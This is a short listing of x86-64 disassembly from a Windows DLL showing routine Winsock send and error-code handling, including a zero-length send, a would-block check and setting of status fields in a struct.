xor ecx, ecx
mov dword [rbx + 0x6c], 1
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov r11, qword [rbx]
mov rcx, rbx
call qword [r11 + 0x108]
cmp eax, 2
je 0x180009255
mov rcx, qword [rbx + 0x28]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x18000924a
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x18000924a
test eax, eax
je 0x18000924a
mov ecx, 0x80004005
call fcn.180004950
int3
mov eax, 1
add rsp, 0x20
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x4c7
mov dword [rbx + 0x1c], 5
test eax, eax
cmove eax, ecx
xor ecx, ecx
mov dword [rbx + 0x18], ecx
mov dword [rbx + 0x24], ecx
mov dword [rbx + 0x20], eax
xor eax, eax
add rsp, 0x20
pop rbx
ret